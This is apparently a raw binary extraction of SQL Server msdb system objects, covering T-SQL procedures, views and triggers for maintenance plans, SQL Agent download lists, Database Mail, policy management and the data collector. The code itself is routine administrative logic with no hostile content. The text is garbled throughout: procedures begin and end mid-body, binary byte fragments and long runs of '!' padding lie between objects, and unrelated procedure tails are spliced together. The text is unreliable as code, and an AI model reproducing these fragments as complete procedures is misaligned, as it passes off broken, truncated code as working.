        EXECUTE master.dbo.xp_sqlagent_enum_jobs @is_sysadmin, N'', @collection_job_id

        SELECT @is_collection_running = running, 
        @collection_job_state = job_state 
        FROM @xp_results WHERE job_id = @collection_job_id

        SELECT @is_upload_running = running, 
        @upload_job_state = job_state 
        FROM @xp_results WHERE job_id = @upload_job_id
    END

    SELECT @is_running = is_running FROM dbo.syscollector_collection_sets WHERE collection_set_id = @collection_set_id

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)

    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_get_execution_status

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)        
    END CATCH
END

    RETURN(1)
  END
  /* clean the related records in sysdbmaintplan_database */
  DELETE FROM msdb.dbo.sysdbmaintplan_databases
  WHERE plan_id=@plan_id
  /* clean the related records in sysdbmaintplan_jobs*/
  DELETE FROM msdb.dbo.sysdbmaintplan_jobs
  WHERE plan_id=@plan_id
  /* clean sysdbmaintplans */
  DELETE FROM msdb.dbo.sysdbmaintplans
  WHERE  plan_id= @plan_id
END
07L7 |8CREATE PROCEDURE sp_add_maintenance_plan_db
  @plan_id UNIQUEIDENTIFIER,
  @db_name sysname
AS
BEGIN
  DECLARE @syserr VARCHAR(100)
  /*check if the plan_id is valid */
  IF (NOT EXISTS (SELECT plan_id
              FROM  msdb.dbo.sysdbmaintplans
              WHERE plan_id=@plan_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /*check if the database name is valid */
  IF (NOT EXISTS (SELECT name
              FROM master.dbo.sysdatabases
              WHERE name=@db_name))
   BEGIN
    RAISERROR(14262,-1,-1,'@db_name',@db_name)
    RETURN(1)
  END
  /*check if the (plan_id, database) pair already exists*/
  IF (EXISTS (SELECT *
              FROM sysdbmaintplan_databases
              WHERE plan_id=@plan_id AND database_name=@db_name))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+@db_name
    RAISERROR(14261,-1,-1,'@plan_id+@db_name',@syserr)
    RETURN(1)
  END
  INSERT INTO msdb.dbo.sysdbmaintplan_databases (plan_id,database_name) VALUES (@plan_id, @db_name)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>{	$`DF<)0C.c0n3 8CREATE PROCEDURE sp_help_downloadlist
  @job_id          UNIQUEIDENTIFIER = NULL, -- If provided must NOT also provide job_name
  @job_name        sysname          = NULL, -- If provided must NOT also provide job_id
  @operation       VARCHAR(64)      = NULL,
  @object_type     VARCHAR(64)      = NULL, -- Only 'JOB' or 'SERVER' are valid in 7.0
  @object_name     sysname          = NULL,
  @target_server   sysname         = NULL,
  @has_error       TINYINT          = NULL, -- NULL or 1
  @status          TINYINT          = NULL,
  @date_posted     DATETIME         = NULL  -- Include all entries made on OR AFTER this date
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @operation_code INT
  DECLARE @object_type_id TINYINT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @operation     = LTRIM(RTRIM(@operation))
  SELECT @object_type   = LTRIM(RTRIM(@object_type))
  SELECT @object_name   = LTRIM(RTRIM(@object_name))
  SELECT @target_server = UPPER(LTRIM(RTRIM(@target_server)))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@operation     = '') SELECT @operation = NULL
  IF (@object_type   = '') SELECT @object_type = NULL
  IF (@object_name   = N'') SELECT @object_name = NULL
  IF (@target_server = N'') SELECT @target_server = NULL

  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  -- Check operation
  IF (@operation IS NOT NULL)
  BEGIN
    SELECT @operation = UPPER(@operation collate SQL_Latin1_General_CP1_CS_AS)
    SELECT @operation_code = CASE @operation
                               WHEN 'INSERT'    THEN 1
                               WHEN 'UPDATE'    THEN 2
                               WHEN 'DELETE'    THEN 3
                               WHEN 'START'     THEN 4
                               WHEN 'STOP'      THEN 5
                               WHEN 'RE-ENLIST' THEN 6
                               WHEN 'DEFECT'    THEN 7
                               WHEN 'SYNC-TIME' THEN 8
                               WHEN 'SET-POLL'  THEN 9
                               ELSE 0
                             END
    IF (@operation_code = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@operation_code', 'INSERT, UPDATE, DELETE, START, STOP, RE-ENLIST, DEFECT, SYNC-TIME, SET-POLL')
      RETURN(1) -- Failure
    END
  END

  -- Check object type (in 7.0 only 'JOB' and 'SERVER' are valid)
  IF (@object_type IS NOT NULL)
  BEGIN
    SELECT @object_type = UPPER(@object_type collate SQL_Latin1_General_CP1_CS_AS)
    IF ((@object_type <> 'JOB') AND (@object_type <> 'SERVER'))
    BEGIN
      RAISERROR(14266, -1, -1, '@object_type', 'JOB, SERVER')
      RETURN(1) -- Failure
    END
    ELSE
      SELECT @object_type_id = CASE @object_type
                                 WHEN 'JOB'    THEN 1
                                 WHEN 'SERVER' THEN 2
                                 ELSE 0
                               END
  END

  -- If object-type is supplied then object-name must also be supplied
  IF ((@object_type IS NOT NULL) AND (@object_name IS NULL)) OR
     ((@object_type IS NULL)     AND (@object_name IS NOT NULL))
  BEGIN
    RAISERROR(14272, -1, -1)
    RETURN(1) -- Failure
  END

  -- Check target server
  IF (@target_server IS NOT NULL) AND NOT EXISTS (SELECT *
                                                  FROM msdb.dbo.systargetservers
                                                  WHERE UPPER(server_name) = @target_server)
  BEGIN
    RAISERROR(14262, -1, -1, '@target_server', @target_server)
    RETURN(1) -- Failure
  END

  -- Check has-error
  IF (@has_error IS NOT NULL) AND (@has_error <> 1)
  BEGIN
    RAISERROR(14266, -1, -1, '@has_error', '1, NULL')
    RETURN(1) -- Failure
  END

  -- Check status
  IF (@status IS NOT NULL) AND (@status <> 0) AND (@status <> 1)
  BEGIN
    RAISERROR(14266, -1, -1, '@status', '0, 1')
    RETURN(1) -- Failure
  END

  -- Return the result set
  SELECT sdl.instance_id,
         sdl.source_server,
        'operation_code' = CASE sdl.operation_code
                             WHEN 1 THEN '1 (INSERT)'
                             WHEN 2 THEN '2 (UPDATE)'
                             WHEN 3 THEN '3 (DELETE)'
                             WHEN 4 THEN '4 (START)'
                             WHEN 5 THEN '5 (STOP)'
                             WHEN 6 THEN '6 (RE-ENLIST)'
                             WHEN 7 THEN '7 (DEFECT)'
                             WHEN 8 THEN '8 (SYNC-TIME)'
                             WHEN 9 THEN '9 (SET-POLL)'
                             ELSE CONVERT(VARCHAR, sdl.operation_code) + ' ' + FORMATMESSAGE(14205)
                           END,
        'object_name' = ISNULL(sjv.name, CASE
                                           WHEN (sdl.operation_code >= 1) AND (sdl.operation_code <= 5) AND (sdl.object_id = CONVERT(UNIQUEIDENTIFIER, 0x00)) THEN FORMATMESSAGE(14212) -- '(all jobs)'
                                           WHEN (sdl.operation_code  = 3) AND (sdl.object_id <> CONVERT(UNIQUEIDENTIFIER, 0x00)) THEN sdl.deleted_object_name -- Special case handling for a deleted job
                                           WHEN (sdl.operation_code >= 1) AND (sdl.operation_code <= 5) AND (sdl.object_id <> CONVERT(UNIQUEIDENTIFIER, 0x00)) THEN FORMATMESSAGE(14580) -- 'job' (safety belt: should never appear)
                                           WHEN (sdl.operation_code >= 6) AND (sdl.operation_code <= 9) THEN sdl.target_server
                                           ELSE FORMATMESSAGE(14205)
                                         END),
        'object_id' = ISNULL(sjv.job_id, CASE sdl.object_id
                                           WHEN CONVERT(UNIQUEIDENTIFIER, 0x00) THEN CONVERT(UNIQUEIDENTIFIER, 0x00)
                                           ELSE sdl.object_id
                                         END),
         sdl.target_server,
         sdl.error_message,
         sdl.date_posted,
         sdl.date_downloaded,
         sdl.status
  FROM msdb.dbo.sysdownloadlist sdl LEFT OUTER JOIN
       msdb.dbo.sysjobs_view    sjv ON (sdl.object_id = sjv.job_id)
  WHERE ((@operation_code IS NULL) OR (operation_code = @operation_code))
    AND ((@object_type_id IS NULL) OR (object_type = @object_type_id))
    AND ((@job_id         IS NULL) OR (object_id = @job_id))
    AND ((@target_server  IS NULL) OR (target_server = @target_server))
    AND ((@has_error      IS NULL) OR (DATALENGTH(error_message) >= 1 * @has_error))
    AND ((@status         IS NULL) OR (status = @status))
    AND ((@date_posted    IS NULL) OR (date_posted >= @date_posted))
  ORDER BY sdl.instance_id

  RETURN(@@error) -- 0 means success

END
0}^4 8
CREATE VIEW sysmail_sentitems
AS
SELECT * FROM msdb.dbo.sysmail_allitems WHERE sent_status = 'sent'

0S)4 %8((0))03 8CREATE VIEW [dbo].[syspolicy_policies]
AS
    SELECT     
        policy_id,
        name,
        condition_id,
        root_condition_id,
        date_created,
        execution_mode,
        policy_category_id,
        schedule_uid,
        description,
        help_text,
        help_link,
        object_set_id,
        is_enabled,
        job_id,
        created_by,
        modified_by,
        date_modified,
        is_system
    FROM [dbo].[syspolicy_policies_internal]
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b`E<1CǬ0ϓ4 8CREATE PROCEDURE sp_enum_sqlagent_subsystems_internal
   @syssubsytems_refresh_needed BIT = 0
AS
BEGIN
  DECLARE @retval INT
  SET NOCOUNT ON
  -- this call will populate subsystems table if necessary
  EXEC @retval = msdb.dbo.sp_verify_subsystems @syssubsytems_refresh_needed
  IF @retval <> 0
     RETURN(@retval)

  -- Check if replication is installed
  DECLARE @replication_installed INT
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\Replication',
                                         N'IsInstalled',
                                         @replication_installed OUTPUT,
                                         N'no_output'
  SELECT @replication_installed = ISNULL(@replication_installed, 0)

  IF @replication_installed = 0
      SELECT  subsystem,
            description = FORMATMESSAGE(description_id),
            subsystem_dll,
            agent_exe,
            start_entry_point,
            event_entry_point,
            stop_entry_point,
            max_worker_threads,
            subsystem_id
      FROM syssubsystems
      WHERE (subsystem NOT IN (N'Distribution', N'LogReader', N'Merge', N'Snapshot', N'QueueReader'))
      ORDER by subsystem
   ELSE
      SELECT  subsystem,
            description = FORMATMESSAGE(description_id),
            subsystem_dll,
            agent_exe,
            start_entry_point,
            event_entry_point,
            stop_entry_point,
            max_worker_threads,
            subsystem_id
      FROM syssubsystems
      ORDER by subsystem_id
      
  RETURN(0)      
END
05 8CREATE PROCEDURE sp_enum_sqlagent_subsystems
AS
BEGIN
  DECLARE @retval         INT
  EXEC @retval = msdb.dbo.sp_enum_sqlagent_subsystems_internal
  RETURN(@retval)
END
0R5 8
CREATE VIEW sysmail_unsentitems
AS
SELECT * FROM msdb.dbo.sysmail_allitems WHERE (sent_status = 'unsent' OR sent_status = 'retrying')

05 8CREATE PROCEDURE sp_clear_dbmaintplan_by_db
  @db_name sysname
AS
BEGIN
  DECLARE planid_cursor CURSOR
  FOR
  select plan_id from msdb.dbo.sysdbmaintplan_databases where database_name=@db_name
  OPEN planid_cursor
  declare @planid uniqueidentifier
  FETCH NEXT FROM planid_cursor INTO @planid
  WHILE (@@FETCH_STATUS <> -1)
  BEGIN
    IF (@@FETCH_STATUS <> -2)
    BEGIN
      delete from msdb.dbo.sysdbmaintplan_databases where plan_id=@planid AND database_name=@db_name
      if (NOT EXISTS(select * from msdb.dbo.sysdbmaintplan_databases where plan_id=@planid))
      BEGIN
        --delete the job
        DECLARE jobid_cursor CURSOR
        FOR
        select job_id from msdb.dbo.sysdbmaintplan_jobs where plan_id=@planid
        OPEN jobid_cursor
        DECLARE @jobid uniqueidentifier
        FETCH NEXT FROM jobid_cursor INTO @jobid
        WHILE (@@FETCH_STATUS <> -1)
        BEGIN
          if (@@FETCH_STATUS <> -2)
          BEGIN
            execute msdb.dbo.sp_delete_job @jobid
          END
          FETCH NEXT FROM jobid_cursor into @jobid
        END
        CLOSE jobid_cursor
        DEALLOCATE jobid_cursor
        --delete the history
        delete from msdb.dbo.sysdbmaintplan_history where plan_id=@planid
        --delete the plan
        delete from msdb.dbo.sysdbmaintplans where plan_id=@planid
      END
    END
    FETCH NEXT FROM planid_cursor INTO @planid
  END
  CLOSE planid_cursor
  DEALLOCATE planid_cursor
END
0b4 ;8CREATE PROCEDURE [dbo].[sp_syscollector_stop_collection_set]
    @collection_set_id        int = NULL,
    @name                     sysname = NULL,
    @stop_collection_job      bit = 1           -- Do we need to stop the collection job, YES by default
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END

    -- Verify the input parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    IF (@stop_collection_job = 1)
    BEGIN
        DECLARE @collection_mode INT
        DECLARE @collection_job_id UNIQUEIDENTIFIER

        SELECT  @collection_mode = collection_mode, @collection_job_id = collection_job_id
        FROM    dbo.syscollector_collection_sets
        WHERE   collection_set_id = @collection_set_id
       
        DECLARE @is_collection_job_running INT
        EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
                @collection_set_id = @collection_set_id,
                @is_collection_running = @is_collection_job_running OUTPUT

        -- Stop the collection job if we are in cached mode, this should signal the runtime to exit
        IF (@is_collection_job_running = 1      -- Collection job is running
            AND @collection_mode = 0
            AND @stop_collection_job = 1)
        BEGIN
            EXEC sp_stop_job @job_id = @collection_job_id
        END
    END


    -- Update the is_running column for this collection set
    -- There is a trigger defined for that table that turns off
    -- the collection and uplaod jobs in response to that bit
    -- changing.
    UPDATE [dbo].[syscollector_collection_sets_internal]
    SET is_running = 0
    WHERE collection_set_id = @collection_set_id

    RETURN (0)
END
08˳4 -8
CREATE TRIGGER dbo.syspolicy_insert_condition_trigger
ON msdb.dbo.syspolicy_conditions_internal
AFTER INSERT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

  UPDATE msdb.dbo.syspolicy_conditions_internal
  SET created_by = original_login()
  FROM inserted i INNER JOIN
       msdb.dbo.syspolicy_conditions_internal conditions
  ON i.condition_id = conditions.condition_id

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
2Lb0^= =8([originating_server_id]=(1))0DR> %8((1))09> 8CREATE PROCEDURE sp_get_jobstep_db_username
  @database_name        sysname,
  @login_name           sysname = NULL,
  @username_in_targetdb sysname OUTPUT
AS
BEGIN
  DECLARE @suser_sid_clause NVARCHAR(512)

  -- Check the database name
  IF (DB_ID(@database_name) IS NULL)
  BEGIN
    RAISERROR(14262, 16, 1, 'database', @database_name)
    RETURN(1) -- Failure
  END

  -- Initialize return value
  SELECT @username_in_targetdb = NULL

  -- Make sure login name is never NULL
  IF (@login_name IS NULL)
    SELECT @login_name = SUSER_SNAME()
  IF (@login_name IS NULL)
    RETURN(1) -- Failure

  -- Handle an NT login name
  IF (@login_name LIKE N'%\%')
  BEGIN
    -- Special case...
    IF (UPPER(@login_name collate SQL_Latin1_General_CP1_CS_AS) = N'NT AUTHORITY\SYSTEM')
      SELECT @username_in_targetdb = N'dbo'
    ELSE
      SELECT @username_in_targetdb = @login_name

    RETURN(0) -- Success
  END

  -- Handle a SQL login name
  SELECT @suser_sid_clause = N'SUSER_SID(N' + QUOTENAME(@login_name, '''') + N')'
  IF (SUSER_SID(@login_name) IS NULL)
    RETURN(1) -- Failure

  DECLARE @quoted_database_name NVARCHAR(258)
  SELECT @quoted_database_name = QUOTENAME(@database_name, N'[')

  DECLARE @temp_username TABLE (user_name sysname COLLATE database_default NOT NULL, is_aliased BIT)

  -- 1) Look for the user name of the current login in the target database
  INSERT INTO @temp_username
  EXECUTE (N'SET NOCOUNT ON
             SELECT name, isaliased
             FROM '+ @quoted_database_name + N'.[dbo].[sysusers]
             WHERE (sid = ' + @suser_sid_clause + N')
               AND (hasdbaccess = 1)')

  -- 2) Look for the alias user name of the current login in the target database
  IF (EXISTS (SELECT *
              FROM @temp_username
              WHERE (is_aliased = 1)))
  BEGIN
    DELETE FROM @temp_username
    INSERT INTO @temp_username
    EXECUTE (N'SET NOCOUNT ON
               SELECT name, 0
               FROM '+ @quoted_database_name + N'.[dbo].[sysusers]
               WHERE uid = (SELECT altuid
                            FROM ' + @quoted_database_name + N'.[dbo].[sysusers]
                            WHERE (sid = ' + @suser_sid_clause + N'))
                 AND (hasdbaccess = 1)')
  END

  -- 3) Look for the guest user name in the target database
  IF (NOT EXISTS (SELECT *
                  FROM @temp_username))
    INSERT INTO @temp_username
    EXECUTE (N'SET NOCOUNT ON
               SELECT name, 0
               FROM '+ @quoted_database_name + N'.[dbo].[sysusers]
               WHERE (name = N''guest'')
                 AND (hasdbaccess = 1)')

  SELECT @username_in_targetdb = user_name
  FROM @temp_username

  RETURN(0) -- Success
END
0r5=> I8CREATE PROCEDURE [dbo].[sp_syspolicy_rename_policy] 
@name sysname = NULL,
@policy_id int = NULL,
@new_name sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    IF (@new_name IS NULL or LEN(@new_name) = 0)
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END

    DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_policy_identifiers @name, @policy_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    UPDATE msdb.[dbo].[syspolicy_policies_internal] 
    SET name = @new_name
    WHERE policy_id = @policy_id

    SELECT @retval = @@error
    RETURN(@retval)
END
0!= 8CREATE VIEW dbo.sysutility_ucp_computer_policies AS
(    
    SELECT cp.physical_server_name
        , cp.computer_urn
        , cp.powershell_path
        , ISNULL(lp.policy_id, cp.policy_id) AS policy_id -- if exists get local (overridden) policy, else return global policy 
        , ISNULL(lp.is_global_policy, 1) AS is_global_policy
        , cp.resource_type
        , cp.target_type
        , cp.utilization_type
    FROM 
        (
            -- fetch the global policies 
            -- Should we be using "virtual_server_name" or "physical_server_name" here?
            SELECT co.physical_server_name AS physical_server_name
                , co.urn AS computer_urn
                , co.powershell_path AS powershell_path
                , gp.policy_id
                , gp.resource_type
                , gp.target_type
                , gp.utilization_type     
            FROM msdb.dbo.sysutility_ucp_computers co
                , msdb.dbo.sysutility_ucp_policies gp
            WHERE gp.rollup_object_type = 3  
                AND gp.is_global_policy = 1    
        ) cp
        LEFT JOIN msdb.dbo.sysutility_ucp_policies lp -- fetch the local policies (if exists)
        ON lp.rollup_object_urn = cp.computer_urn
            AND lp.rollup_object_type = 3
            AND lp.is_global_policy = 0
            AND lp.resource_type = cp.resource_type
            AND lp.target_type = cp.target_type
            AND lp.utilization_type = cp.utilization_type
)
                    @job_id            = @upload_job_id, 
                    @schedule_id    = @schedule_id,
                    @delete_unused_schedule = 0
            END

            EXEC dbo.sp_delete_jobserver
                @job_id            = @upload_job_id,
                @server_name    = N'(local)'

            EXEC dbo.sp_delete_job 
                @job_id            = @upload_job_id
        END
    END
    ELSE -- cached mode
    BEGIN
        -- detach schedules, delete job servers, then delete jobs
        IF (@upload_job_id IS NOT NULL)
        BEGIN
            EXEC dbo.sp_detach_schedule
                @job_id            = @upload_job_id, 
                @schedule_id    = @schedule_id,
                @delete_unused_schedule = 0

            EXEC dbo.sp_delete_jobserver
                @job_id            = @upload_job_id,
                @server_name    = N'(local)'

            EXEC dbo.sp_delete_job 
                @job_id            = @upload_job_id
        END

        IF (@collection_job_id IS NOT NULL)
        BEGIN
            EXEC dbo.sp_detach_schedule
                @job_id            = @collection_job_id, 
                @schedule_name    = N'RunAsSQLAgentServiceStartSchedule',
                @delete_unused_schedule = 0

            EXEC dbo.sp_delete_jobserver
                @job_id            = @collection_job_id,
                @server_name    = N'(local)'

            EXEC dbo.sp_delete_job 
                @job_id            = @collection_job_id
        END
    END

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_syscollector_delete_jobs

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
